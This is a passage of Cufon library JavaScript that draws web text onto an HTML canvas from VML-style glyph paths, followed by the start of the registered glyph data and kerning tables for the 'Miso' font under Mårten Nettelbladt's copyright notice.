			'}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;text-align:left;text-indent:-10000in;}' +
			(HAS_INLINE_BLOCK
				? 'cufon canvas{position:relative;}'
				: 'cufon canvas{position:absolute;}') +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
		'}' +
		'@media print{' +
			'cufon{padding:0;}' + // Firefox 2
			'cufon canvas{display:none;}' +
		'}'
	).replace(/;/g, '!important;')));
	document.getElementsByTagName('head')[0].appendChild(styleSheet);

	function generateFromVML(path, context) {
		var atX = 0, atY = 0;
		var code = [], re = /([mrvxe])([^a-z]*)/g, match;
		generate: for (var i = 0; match = re.exec(path); ++i) {
			var c = match[2].split(',');
			switch (match[1]) {
				case 'v':
					code[i] = { m: 'bezierCurveTo', a: [ atX + ~~c[0], atY + ~~c[1], atX + ~~c[2], atY + ~~c[3], atX += ~~c[4], atY += ~~c[5] ] };
					break;
				case 'r':
					code[i] = { m: 'lineTo', a: [ atX += ~~c[0], atY += ~~c[1] ] };
					break;
				case 'm':
					code[i] = { m: 'moveTo', a: [ atX = ~~c[0], atY = ~~c[1] ] };
					break;
				case 'x':
					code[i] = { m: 'closePath' };
					break;
				case 'e':
					break generate;
			}
			context[code[i].m].apply(context, code[i].a);
		}
		return code;
	}

	function interpret(code, context) {
		for (var i = 0, l = code.length; i < l; ++i) {
			var line = code[i];
			context[line.m].apply(context, line.a);
		}
	}

	return function(font, text, style, options, node, el) {

		var redraw = (text === null);

		if (redraw) text = node.getAttribute('alt');

		var viewBox = font.viewBox;

		var size = style.getSize('fontSize', font.baseSize);

		var expandTop = 0, expandRight = 0, expandBottom = 0, expandLeft = 0;
		var shadows = options.textShadow, shadowOffsets = [];
		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				var x = size.convertFrom(parseFloat(shadow.offX));
				var y = size.convertFrom(parseFloat(shadow.offY));
				shadowOffsets[i] = [ x, y ];
				if (y < expandTop) expandTop = y;
				if (x > expandRight) expandRight = x;
				if (y > expandBottom) expandBottom = y;
				if (x < expandLeft) expandLeft = x;
			}
		}

		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			~~size.convertFrom(parseFloat(style.get('letterSpacing')) || 0),
			~~size.convertFrom(parseFloat(style.get('wordSpacing')) || 0)
		);

		if (!jumps.length) return null; // there's nothing to render

		var width = jumps.total;

		expandRight += viewBox.width - jumps[jumps.length - 1];
		expandLeft += viewBox.minX;

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-canvas';
			wrapper.setAttribute('alt', text);

			canvas = document.createElement('canvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height);
		var roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var stretchedWidth = width * stretchFactor;

		var canvasWidth = Math.ceil(size.convert(stretchedWidth + expandRight - expandLeft));
		var canvasHeight = Math.ceil(size.convert(viewBox.height - expandTop + expandBottom));

		canvas.width = canvasWidth;
		canvas.height = canvasHeight;

		// needed for WebKit and full page zoom
		cStyle.width = canvasWidth + 'px';
		cStyle.height = canvasHeight + 'px';

		// minY has no part in canvas.height
		expandTop += viewBox.minY;

		cStyle.top = Math.round(size.convert(expandTop - font.ascent)) + 'px';
		cStyle.left = Math.round(size.convert(expandLeft)) + 'px';

		var wrapperWidth = Math.max(Math.ceil(size.convert(stretchedWidth)), 0) + 'px';

		if (HAS_INLINE_BLOCK) {
			wStyle.width = wrapperWidth;
			wStyle.height = size.convert(font.height) + 'px';
		}
		else {
			wStyle.paddingLeft = wrapperWidth;
			wStyle.paddingBottom = (size.convert(font.height) - 1) + 'px';
		}

		var g = canvas.getContext('2d'), scale = height / viewBox.height;

		// proper horizontal scaling is performed later
		g.scale(scale, scale * roundingFactor);
		g.translate(-expandLeft, -expandTop);
		g.save();

		function renderText() {
			var glyphs = font.glyphs, glyph, i = -1, j = -1, chr;
			g.scale(stretchFactor, 1);
			while (chr = chars[++i]) {
				var glyph = glyphs[chars[i]] || font.missingGlyph;
				if (!glyph) continue;
				if (glyph.d) {
					g.beginPath();
					if (glyph.code) interpret(glyph.code, g);
					else glyph.code = generateFromVML('m' + glyph.d, g);
					g.fill();
				}
				g.translate(jumps[++j], 0);
			}
			g.restore();
		}

		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				g.save();
				g.fillStyle = shadow.color;
				g.translate.apply(g, shadowOffsets[i]);
				renderText();
			}
		}

		var gradient = options.textGradient;
		if (gradient) {
			var stops = gradient.stops, fill = g.createLinearGradient(0, viewBox.minY, 0, viewBox.maxY);
			for (var i = 0, l = stops.length; i < l; ++i) {
				fill.addColorStop.apply(fill, stops[i]);
			}
			g.fillStyle = fill;
		}
		else g.fillStyle = style.get('color');

		renderText();

		return wrapper;

	};

})());

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) Mårten Nettelbladt, 2006. All rights reserved.
 * 
 * Trademark:
 * Miso is a trademark of Mårten Nettelbladt.
 * 
 * Manufacturer:
 * Mårten Nettelbladt
 * 
 * Designer:
 * Mårten Nettelbladt
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"122,-26v-24,49,-105,26,-102,-27v5,-69,-21,-160,41,-176v24,-6,48,5,61,26v8,15,-13,23,-20,11v-14,-28,-59,-13,-59,16r0,123v-2,29,45,44,59,16v3,-5,11,-8,16,-5v5,3,7,11,4,16","w":138},{"d":"46,-137v20,0,36,16,36,35v0,20,-16,36,-36,36v-20,0,-35,-16,-35,-36v0,-19,16,-35,35,-35xm46,-87v8,0,15,-7,15,-15v0,-8,-7,-14,-15,-14v-8,0,-15,6,-15,14v0,8,7,15,15,15","w":92},{"d":"79,-229v65,-5,74,110,21,126r33,89v5,14,-16,22,-21,8r-35,-93r-29,0r0,89v0,7,-5,11,-12,11v-6,0,-12,-4,-12,-11r0,-207v2,-21,35,-11,55,-12xm48,-122v42,4,63,-6,63,-52v0,-29,-30,-35,-63,-32r0,84","k":{"Y":7,"T":4}},{"d":"130,-53v0,30,-25,54,-55,54v-30,0,-55,-24,-55,-54r0,-123v0,-30,25,-54,55,-54v30,0,55,24,55,54r0,123xm43,-53v0,18,15,31,32,31v18,0,32,-13,32,-31r0,-123v0,-17,-14,-31,-32,-31v-56,0,-32,100,-32,154xm75,-277v-13,5,-25,31,-41,18v-7,-22,25,-28,34,-41v22,-6,31,19,46,26v5,4,7,11,2,15v-15,14,-28,-13,-41,-18"},{"d":"116,-202v5,4,5,11,1,16v-25,11,-36,-23,-53,-31v-5,-4,-5,-12,-1,-17v4,-5,12,-5,17,-1","w":180},{"d":"32,-29v9,0,15,7,15,15v0,8,-6,15,-15,15v-8,0,-15,-7,-15,-15v0,-8,7,-15,15,-15xm119,-14v0,8,-6,15,-15,15v-8,0,-15,-7,-15,-15v0,-8,7,-15,15,-15v9,0,15,7,15,15xm161,-14v0,-8,7,-15,15,-15v9,0,15,7,15,15v0,8,-6,15,-15,15v-8,0,-15,-7,-15,-15","w":207},{"d":"36,1v-6,0,-11,-5,-11,-11r0,-216v0,-6,5,-11,11,-11v22,6,7,50,11,74v41,-5,71,11,72,46r0,107v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-107v0,-24,-24,-27,-50,-25r0,132v0,6,-5,11,-11,11","w":141},{"d":"43,-49v-9,22,-4,49,-26,50v-6,-2,-10,-8,-8,-14r58,-209v2,-10,20,-11,22,0r58,209v2,6,-2,12,-9,14v-21,0,-17,-29,-25,-50r-70,0xm106,-72r-28,-104v-8,26,-19,68,-29,104r57,0","w":155,"k":{"\u2019":25,"\u201d":25,"y":4,"w":4,"v":4,"Y":18,"W":14,"V":14,"T":18}},{"d":"28,-258v60,60,63,215,0,280v-4,5,-11,6,-16,2v-5,-4,-6,-11,-2,-16v54,-58,56,-193,0,-252v-4,-5,-3,-12,2,-16v5,-4,12,-3,16,2","w":96},{"d":"72,29v-18,-2,-47,7,-48,-12r0,-263v1,-19,30,-10,48,-12v7,0,12,5,12,12v0,16,-21,10,-36,11r0,241v15,1,36,-5,36,11v0,7,-5,12,-12,12","w":92},{"d":"20,-258v18,2,48,-7,48,12r0,263v-1,19,-30,10,-48,12v-7,0,-11,-5,-11,-12v-1,-16,22,-10,36,-11r0,-241v-14,-1,-37,5,-36,-11v0,-7,4,-12,11,-12","w":92},{"d":"33,27v-31,0,-1,-20,-4,-33v-6,0,-11,-5,-11,-11v0,-10,11,-13,22,-11v21,5,12,51,-7,55","w":69},{"d":"145,-149v-7,-16,-34,-8,-33,9v3,25,-9,60,13,68v16,6,20,-19,35,-12v15,22,-21,39,-41,33v-34,-10,-29,-49,-29,-89v0,-39,56,-54,74,-19v3,5,1,11,-4,14v-5,3,-12,1,-15,-4xm129,-230v62,0,116,54,116,116v0,62,-54,115,-116,115v-61,0,-115,-54,-115,-115v0,-62,53,-116,115,-116xm36,-114v0,50,43,93,93,93v51,0,94,-44,94,-93v0,-49,-44,-94,-94,-94v-49,0,-93,44,-93,94","w":258},{"d":"24,-217v2,-21,35,-12,55,-12v37,0,59,31,55,75v-3,41,-37,62,-86,55r0,89v0,7,-5,11,-12,11v-7,0,-12,-4,-12,-11r0,-207xm79,-122v45,-1,42,-86,0,-84r-31,0r0,84r31,0","w":144,"k":{",":40,"\u00e4":7,"\u00f6":4,"\u00e5":7,".":40,"a":7,"e":4,"o":4,"A":14}},{"d":"87,-240v-56,57,-57,193,0,252v4,5,3,12,-2,16v-5,4,-13,3,-17,-2v-61,-65,-63,-215,0,-281v4,-5,12,-6,17,-2v5,4,6,12,2,17","w":96},{"d":"172,-157v-14,-4,-16,-18,-25,-28r0,74v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-108v6,-22,24,-2,29,7v4,8,13,18,18,25v13,-13,17,-39,39,-42v4,1,8,5,8,10r0,108v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-74v-9,11,-12,24,-25,28xm57,-100v-6,0,-11,-5,-11,-11r0,-95v-15,-1,-36,4,-36,-11v0,-6,5,-11,11,-11r72,0v6,0,11,5,11,11v0,15,-21,10,-36,11r0,95v0,6,-5,11,-11,11","w":241},{"d":"41,-136v-7,6,-19,2,-18,-8v18,-39,81,-17,81,25r0,107v-1,18,-29,11,-46,11v-26,0,-47,-21,-47,-47v1,-35,31,-51,72,-46v8,-34,-16,-63,-42,-42xm32,-48v0,24,24,29,51,26r0,-51v-26,-2,-51,1,-51,25xm54,-186v-5,4,-11,4,-15,0v-8,-25,27,-32,37,-48v4,-4,11,-3,15,1v7,24,-27,32,-37,47","w":126},{"d":"95,-212v0,17,-13,31,-30,31v-17,0,-30,-14,-30,-31v0,-17,13,-30,30,-30v17,0,30,13,30,30xm52,-212v0,7,6,13,13,13v7,0,13,-6,13,-13v0,-7,-6,-13,-13,-13v-7,0,-13,6,-13,13xm41,-136v-7,6,-19,2,-18,-8v18,-39,81,-17,81,25r0,107v-1,18,-29,11,-46,11v-26,0,-47,-21,-47,-47v1,-35,31,-51,72,-46v7,-33,-15,-63,-42,-42xm32,-48v0,24,24,29,51,26r0,-51v-26,-2,-51,1,-51,25","w":126,"k":{"v":4}},{"d":"58,-23v18,11,39,-22,46,2v-17,41,-83,17,-83,-25v0,-55,-8,-119,47,-119v40,1,53,38,46,83v-3,23,-49,6,-72,11v0,23,-2,42,16,48xm68,-143v-24,0,-29,23,-26,50r51,0v2,-26,-1,-50,-25,-50xm42,-202v17,-9,28,-40,52,-31v4,4,4,11,-1,15r-36,32v-4,4,-11,4,-15,0v-4,-4,-4,-12,0,-16","w":132},{"d":"75,1v-57,0,-75,-86,-34,-119v-39,-27,-23,-112,34,-112v55,0,75,81,34,112v39,28,25,119,-34,119xm43,-176v0,27,9,46,32,46v24,0,32,-18,32,-46v0,-17,-14,-31,-32,-31v-17,0,-32,14,-32,31xm107,-53v0,-30,-5,-54,-32,-54v-25,0,-32,24,-32,54v0,18,15,31,32,31v18,0,32,-13,32,-31"},{"d":"26,-1v-8,0,-13,-8,-10,-16r64,-125v-22,-4,-60,10,-65,-11v0,-6,5,-10,11,-10r72,0v7,0,14,9,9,15r-63,126v21,4,60,-10,65,10v0,6,-5,11,-11,11r-72,0","w":123,"k":{"e":4,"o":4}},{"d":"39,-310v7,0,12,5,12,12r0,360v0,7,-5,11,-12,11v-7,0,-11,-4,-11,-11r0,-360v0,-7,4,-12,11,-12","w":74},{"d":"102,-179v-10,-26,-56,-12,-52,14v7,46,75,47,75,99v1,24,-20,46,-41,52v1,14,1,30,-12,30v-14,0,-11,-17,-11,-30v-15,-3,-46,-22,-30,-41v19,-7,19,24,41,19v27,1,39,-35,19,-52v-24,-20,-62,-37,-64,-76v-1,-24,17,-46,40,-51v0,-13,-3,-30,11,-30v13,0,13,16,12,30v16,3,43,23,28,40v-5,3,-13,1,-16,-4"},{"d":"88,-307v5,-4,12,-4,16,1v4,5,4,13,-1,17r-36,32v-5,4,-12,4,-16,-1v-4,-5,-4,-12,1,-16xm43,-49v-9,22,-4,49,-26,50v-6,-2,-10,-8,-8,-14r58,-209v2,-10,20,-11,22,0r58,209v2,6,-2,12,-9,14v-21,0,-17,-29,-25,-50r-70,0xm106,-72r-28,-104v-8,26,-19,68,-29,104r57,0","w":155},{"d":"82,-153v23,-21,0,-61,-29,-54v-16,0,-19,26,-37,20v-16,-19,16,-39,32,-42v51,-11,90,56,50,92v-17,15,-32,33,-27,69v0,7,-5,12,-12,12v-16,0,-10,-25,-11,-40v-1,-26,19,-44,34,-57xm74,-14v0,8,-7,15,-15,15v-8,0,-15,-7,-15,-15v0,-8,7,-15,15,-15v8,0,15,7,15,15","w":128},{"d":"24,-219v0,-7,5,-11,12,-11v7,0,12,4,12,11r0,209v0,7,-5,11,-12,11v-7,0,-12,-4,-12,-11r0,-209xm26,-257v-11,10,-29,-9,-16,-17v16,-10,28,-42,53,-32v4,5,4,13,-1,17","w":72},{"d":"36,1v-7,0,-12,-4,-12,-11r0,-209v0,-11,17,-16,22,-5r48,101r47,-101v5,-11,22,-6,22,5r0,209v0,7,-6,11,-12,11v-7,0,-11,-4,-11,-11r0,-157r-36,76v-18,19,-27,-14,-32,-25v-7,-14,-16,-33,-24,-51r0,157v0,7,-6,11,-12,11","w":187},{"d":"77,-217v14,14,21,-13,33,-4v14,10,-7,28,-18,28v-16,6,-32,-20,-44,-5v-3,5,-9,7,-14,3v-14,-11,6,-28,18,-28v9,0,17,1,25,6xm108,1v-6,0,-11,-5,-11,-11r0,-107v0,-24,-24,-27,-50,-25r0,132v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-143v2,-17,30,-10,47,-10v66,0,44,91,47,153v0,6,-5,11,-11,11","w":141},{"d":"58,-23v17,11,39,-23,46,2v-16,41,-83,17,-83,-25v0,-55,-8,-119,47,-119v40,1,53,38,46,83v-3,23,-49,6,-72,11v0,23,-2,42,16,48xm68,-143v-24,0,-29,23,-26,50r51,0v2,-26,-1,-50,-25,-50","w":132,"k":{"y":4,"w":4,"v":4}},{"d":"103,-148v11,-10,27,7,16,17r-28,27v10,12,25,20,31,36v1,9,-11,16,-19,9r-28,-28v-12,10,-36,48,-48,19v6,-16,22,-24,32,-36v-10,-12,-26,-20,-32,-36v12,-27,36,10,48,20"},{"d":"22,-219v0,-7,5,-11,11,-11v7,0,12,4,12,11r0,166v0,18,14,31,31,31v18,0,32,-13,32,-31r0,-166v0,-7,6,-11,12,-11v7,0,11,4,11,11r0,166v0,30,-25,54,-55,54v-30,0,-54,-24,-54,-54r0,-166xm76,-302v17,10,46,20,41,43v-16,13,-28,-14,-41,-18v-12,6,-24,31,-41,18v-7,-22,25,-28,35,-41v2,-2,3,-2,6,-2","w":152},{"d":"36,1v-8,0,-15,-7,-15,-15v0,-8,7,-15,15,-15v8,0,15,7,15,15v0,8,-7,15,-15,15xm24,-212v0,-7,6,-11,12,-11v7,0,12,4,12,11r0,144v0,7,-5,12,-12,12v-6,0,-12,-5,-12,-12r0,-144","w":72},{"d":"38,-142v-13,0,-29,2,-29,-11v0,-13,16,-10,29,-10v4,-24,-11,-67,11,-74v22,6,7,50,11,74v14,1,35,-5,36,10v0,15,-21,10,-36,11v6,43,-19,116,25,121v6,0,11,5,11,11v0,6,-5,11,-11,11v-26,0,-47,-21,-47,-47r0,-96","w":106},{"d":"48,-167v-10,10,-26,-6,-16,-17r43,-43v7,-7,20,-2,20,8r0,209v0,7,-5,11,-11,11v-7,0,-12,-4,-12,-11r0,-181"},{"d":"24,-219v0,-11,17,-16,22,-5r79,164r0,-159v0,-7,6,-11,12,-11v7,0,11,4,11,11r0,209v0,11,-17,16,-22,5r-78,-163r0,158v0,7,-5,11,-12,11v-6,0,-12,-4,-12,-11r0,-209xm81,-270v-13,-14,-22,12,-33,3v-14,-11,6,-29,19,-29v17,-6,31,20,43,5v3,-5,10,-6,15,-2v13,12,-6,29,-18,29v-9,0,-18,-1,-26,-6","w":172},{"d":"0,-92v-6,0,-12,-5,-12,-12v0,-7,6,-11,12,-11r360,0v7,0,12,4,12,11v0,7,-5,12,-12,12r-360,0","w":360},{"d":"68,-141v-19,-9,-39,23,-46,-3v19,-38,82,-18,82,25r0,107v-1,18,-29,11,-46,11v-26,0,-47,-21,-47,-47v1,-35,31,-51,72,-46v0,-22,1,-39,-15,-47xm32,-48v0,24,24,29,51,26r0,-51v-26,-2,-51,1,-51,25","w":126,"k":{"y":4,"w":4,"v":4}},{"d":"75,1v-30,0,-55,-24,-55,-54r0,-123v0,-30,25,-54,55,-54v30,0,55,24,55,54r0,123v0,30,-25,54,-55,54xm75,-207v-18,0,-32,14,-32,31r0,123v0,18,14,31,32,31v17,0,32,-13,32,-31r0,-123v0,-17,-15,-31,-32,-31"},{"d":"76,1v-30,0,-54,-24,-54,-54r0,-166v0,-7,5,-11,11,-11v7,0,12,4,12,11r0,166v0,18,14,31,31,31v18,0,32,-13,32,-31r0,-166v0,-7,6,-11,12,-11v7,0,11,4,11,11r0,166v0,30,-25,54,-55,54xm90,-280v0,-8,7,-15,15,-15v9,0,15,7,15,15v0,8,-6,15,-15,15v-8,0,-15,-7,-15,-15xm48,-265v-8,0,-16,-7,-16,-15v0,-8,8,-15,16,-15v9,0,15,7,15,15v0,8,-6,15,-15,15","w":152},{"w":69},{"d":"36,0v-6,0,-12,-5,-12,-12r0,-205v0,-7,6,-12,12,-12r72,0v7,0,12,5,12,12v-5,22,-49,6,-72,11r0,76v22,4,61,-10,64,12v-3,22,-43,7,-64,11r0,95v0,7,-5,12,-12,12","w":129,"k":{",":40,"\u00e4":4,"\u00f6":4,"\u00e5":4,".":40,"a":4,"e":7,"i":4,"o":7,"r":4,"A":14}},{"d":"157,-85v23,0,43,20,43,43v0,24,-20,42,-43,42v-24,0,-43,-18,-43,-42v0,-23,19,-43,43,-43xm157,-21v13,0,22,-8,22,-21v0,-13,-9,-22,-22,-22v-13,0,-22,9,-22,22v0,13,9,21,22,21xm99,-186v0,24,-19,42,-42,42v-24,0,-43,-18,-43,-42v0,-23,19,-43,43,-43v23,0,42,20,42,43xm35,-186v0,13,9,21,22,21v13,0,21,-8,21,-21v0,-13,-8,-22,-21,-22v-13,0,-22,9,-22,22xm162,-229v6,3,9,9,6,15r-101,209v-3,6,-10,8,-16,5v-6,-3,-8,-9,-5,-15r101,-209v3,-6,9,-8,15,-5","w":213},{"d":"122,-136r0,36v15,1,36,-4,36,11v0,15,-21,10,-36,11r0,68v0,6,-5,11,-11,11v-23,-7,-6,-54,-11,-79r-35,0r0,68v0,6,-5,11,-11,11v-23,-7,-6,-54,-11,-79v-15,-1,-36,4,-36,-11v0,-15,21,-10,36,-11r0,-36v-15,-1,-36,4,-36,-11v0,-15,21,-10,36,-11v4,-24,-10,-66,11,-72v22,6,7,49,11,72r35,0v4,-24,-10,-66,11,-72v22,6,7,49,11,72v15,1,36,-4,36,11v0,15,-21,10,-36,11xm100,-136r-35,0r0,36r35,0r0,-36","w":164},{"d":"118,-86v7,0,12,4,12,11v0,7,-5,12,-12,12r-86,0v-6,0,-12,-5,-12,-12v0,-7,6,-11,12,-11r86,0xm118,-144v7,0,12,5,12,12v0,7,-5,11,-12,11r-86,0v-6,0,-12,-4,-12,-11v0,-7,6,-12,12,-12r86,0"},{"d":"12,-216v-2,-6,2,-12,8,-14v6,-1,13,2,14,8r47,169r46,-169v1,-6,8,-9,14,-8v6,2,10,8,8,14r-57,209v-2,10,-20,11,-22,0","w":161,"k":{",":36,":":11,";":11,"-":18,"\u00e4":11,"\u00f6":11,"\u00e5":14,".":36,"a":18,"e":18,"o":18,"u":14,"A":14,"O":4}},{"d":"36,-194v-8,0,-14,-6,-14,-14v0,-8,6,-14,14,-14v8,0,14,6,14,14v0,8,-6,14,-14,14xm47,-10v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-144v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,144","w":72},{"d":"25,-154v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,144v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-144xm69,-233v7,24,-27,32,-37,47v-5,4,-11,4,-15,0v-8,-25,27,-32,37,-48v4,-4,11,-3,15,1","w":72},{"d":"107,-265v-8,0,-16,-7,-16,-15v0,-21,31,-18,31,0v0,8,-7,15,-15,15xm49,-295v8,0,15,7,15,15v0,8,-7,15,-15,15v-8,0,-15,-7,-15,-15v0,-8,7,-15,15,-15xm43,-49v-9,22,-4,49,-26,50v-6,-2,-10,-8,-8,-14r58,-209v2,-10,20,-11,22,0r58,209v2,6,-2,12,-9,14v-21,0,-17,-29,-25,-50r-70,0xm106,-72r-28,-104v-8,26,-19,68,-29,104r57,0","w":155},{"d":"58,-219v-3,37,9,82,-13,101v23,20,9,70,13,108v-3,21,28,11,28,29v0,7,-4,11,-11,11v-52,0,-40,-68,-40,-119v0,-21,-28,-11,-29,-29v-1,-19,29,-8,29,-29v0,-49,-10,-112,40,-112v7,0,11,4,11,11v0,19,-31,8,-28,29","w":92},{"d":"26,0v-8,0,-14,-8,-11,-16r80,-190r-69,0v-7,0,-12,-4,-12,-11v0,-7,5,-12,12,-12r86,0v8,0,14,8,11,16r-80,190r69,0v7,0,12,4,12,11v0,7,-5,12,-12,12r-86,0","w":138},{"d":"122,-244v6,3,10,9,7,15r-87,237v-3,6,-8,10,-14,7v-6,-3,-10,-9,-7,-15r86,-237v3,-6,9,-10,15,-7"},{"d":"26,-145v-5,-4,-6,-12,-2,-17r57,-64v3,-6,14,-5,18,0r57,64v4,5,3,13,-2,17v-18,8,-25,-17,-35,-23v-10,-12,-23,-26,-29,-33r-48,54v-4,5,-11,6,-16,2","w":180},{"d":"26,-24v-10,-23,25,-31,33,-43v17,-14,35,-30,44,-37r-76,-63v-12,-10,5,-27,15,-18r86,72v6,5,5,14,0,18r-86,72v-5,4,-12,4,-16,-1"},{"d":"86,-146v-2,17,7,46,-11,46v-18,0,-9,-29,-11,-46v-14,4,-30,26,-45,14v-5,-20,23,-23,34,-33v-11,-10,-38,-13,-34,-32v14,-14,31,9,45,13v2,-17,-7,-46,11,-46v18,0,9,29,11,46v14,-5,30,-27,45,-13v5,19,-24,22,-34,32v11,10,39,13,34,33v-15,13,-31,-10,-45,-14"},{"d":"26,-26v22,12,48,-5,48,-27r0,-166v0,-7,4,-11,11,-11v6,0,12,4,12,11r0,166v2,38,-45,68,-82,47v-6,-3,-8,-11,-5,-16v3,-5,10,-7,16,-4","w":119,"k":{",":7,".":7}},{"d":"130,-104v0,7,-6,12,-12,12r-86,0v-7,0,-12,-5,-12,-12v0,-7,5,-11,12,-11r86,0v6,0,12,4,12,11"},{"d":"140,-15v3,6,1,12,-5,15v-6,3,-12,1,-15,-5r-52,-107r-20,28r0,74v0,7,-5,11,-12,11v-6,0,-12,-4,-12,-11r0,-209v0,-7,6,-11,12,-11v7,0,12,4,12,11r0,96r72,-103v4,-5,11,-6,16,-2v5,4,7,11,3,16r-56,78","w":151,"k":{"\u00f6":7,"e":7,"o":7,"y":7,"u":4,"O":4}},{"d":"20,-176v0,-30,25,-54,55,-54v30,0,55,24,55,54v0,57,15,133,-18,163v5,14,26,30,12,45v-19,5,-23,-22,-32,-33v-38,10,-72,-16,-72,-52r0,-123xm75,-207v-56,0,-32,100,-32,154v0,18,15,31,32,31v18,0,32,-13,32,-31r0,-123v0,-17,-14,-31,-32,-31"},{"d":"103,-95v-35,26,-86,-3,-86,-45v0,-51,11,-89,55,-90v30,0,54,24,54,54v0,69,21,160,-40,176v-24,6,-49,-4,-62,-26v-9,-16,14,-23,20,-11v14,28,59,14,59,-16r0,-42xm72,-207v-31,0,-32,33,-32,67v0,18,15,32,32,32v32,0,31,-34,31,-68v0,-17,-13,-31,-31,-31"},{"d":"29,-28v20,0,24,9,22,28v2,15,-21,39,-32,22v-8,-13,16,-14,10,-28v-6,0,-11,-5,-11,-11v0,-6,5,-11,11,-11xm35,-135v-8,0,-16,-7,-16,-15v0,-23,31,-19,31,0v0,8,-7,15,-15,15","w":69},{"d":"180,-115v7,0,12,4,12,11v0,7,-5,12,-12,12r-180,0v-6,0,-12,-5,-12,-12v0,-7,6,-11,12,-11r180,0","w":180},{"d":"148,-10v0,11,-17,16,-22,5r-78,-163r0,158v0,7,-5,11,-12,11v-7,0,-12,-4,-12,-11r0,-209v0,-11,17,-16,22,-5r79,164r0,-159v0,-7,5,-11,12,-11v7,0,11,4,11,11r0,209","w":172},{"d":"86,-115v17,2,44,-7,44,11v0,18,-27,10,-44,12v-2,16,6,43,-11,43v-19,0,-10,-27,-12,-43v-17,-1,-43,6,-43,-12v0,-17,27,-9,43,-11v2,-17,-7,-43,12,-43v17,0,9,27,11,43"},{"d":"69,-206v-12,6,-23,30,-40,19v-6,-22,24,-27,34,-40v22,-5,30,18,45,25v4,3,6,10,2,15v-18,12,-29,-13,-41,-19xm22,-154v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,106v0,24,23,29,50,26r0,-132v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,142v-1,18,-30,11,-47,11v-65,0,-44,-90,-47,-153","w":141},{"d":"114,-106v8,-11,27,-1,19,12v-13,21,-47,26,-67,8v-10,-8,-25,-4,-30,5v-3,5,-10,7,-15,3v-15,-15,10,-32,25,-34v25,-9,49,33,68,6"},{"d":"61,-115r-49,-99v-3,-5,-1,-12,5,-15v5,-3,12,-1,15,5r40,80r40,-80v3,-6,10,-8,16,-5v6,3,8,10,5,15r-49,99r0,105v0,7,-5,11,-12,11v-7,0,-11,-4,-11,-11r0,-105","w":144,"k":{",":32,":":18,";":18,"-":32,".":32,"a":25,"e":25,"g":25,"i":7,"m":22,"n":22,"o":25,"p":22,"s":25,"x":18,"v":18,"u":22,"A":18,"O":7}},{"d":"138,-230v62,0,115,54,115,116v0,54,5,113,-47,113v-55,0,-119,8,-119,-47v1,-35,31,-51,72,-46v0,-22,3,-41,-15,-47v-17,-12,-39,23,-46,-3v18,-39,83,-17,83,25r0,97v26,2,50,-2,50,-26r0,-66v1,-50,-43,-94,-93,-94v-49,0,-94,45,-94,94r0,64v2,64,56,105,133,94v6,0,11,5,11,11v-2,19,-32,10,-50,11v-62,3,-116,-54,-116,-116r0,-64v-2,-62,54,-116,116,-116xm109,-48v0,24,23,29,50,26r0,-51v-26,-2,-50,1,-50,25","w":275},{"d":"17,0v-6,-3,-8,-9,-5,-15r51,-103r-48,-96v-3,-5,0,-12,6,-15v5,-3,12,-1,15,5r40,80r40,-80v3,-6,9,-8,15,-5v6,3,9,10,6,15r-48,96r51,103v3,6,1,12,-5,15v-6,3,-12,1,-15,-5r-44,-87r-44,87v-3,6,-10,8,-15,5","w":151},{"d":"46,63v-11,8,-36,18,-39,-1v3,-18,33,-8,35,-29r13,-43r-42,-141v-2,-6,1,-12,7,-14v6,-1,11,3,13,8r33,109r33,-109v1,-5,8,-9,14,-8v6,2,9,8,7,14r-57,190v-3,10,-9,18,-17,24","w":132,"k":{",":25,".":25,"a":4,"e":4,"o":4}},{"d":"38,-37v23,34,70,8,59,-38v0,-17,-14,-32,-31,-32v-7,0,-12,-4,-12,-11v0,-7,5,-12,12,-12v37,3,44,-68,8,-76v-14,-4,-29,1,-36,14v-3,5,-11,8,-16,5v-17,-28,34,-52,58,-42v45,9,55,83,19,111v35,26,29,108,-19,118v-24,5,-50,-4,-62,-26v-8,-15,12,-23,20,-11"},{"d":"35,-10v3,-38,-10,-86,11,-108v-20,-20,-8,-65,-11,-101v2,-21,-29,-10,-29,-29v0,-7,4,-11,11,-11v50,0,43,62,41,112v-1,21,28,11,28,29v0,18,-28,7,-28,29v0,52,12,119,-41,119v-7,0,-11,-4,-11,-11v0,-19,31,-8,29,-29","w":92},{"d":"111,-219v0,-7,5,-11,11,-11v7,0,12,4,12,11r0,209v0,7,-5,11,-12,11v-6,0,-11,-4,-11,-11r0,-97r-63,0r0,97v0,7,-5,11,-12,11v-6,0,-12,-4,-12,-11r0,-209v0,-7,6,-11,12,-11v7,0,12,4,12,11r0,89r63,0r0,-89","w":158},{"d":"72,-1v-17,-1,-47,7,-47,-11r0,-214v0,-6,5,-11,11,-11v22,6,7,50,11,74v41,-5,71,11,72,46v2,54,6,11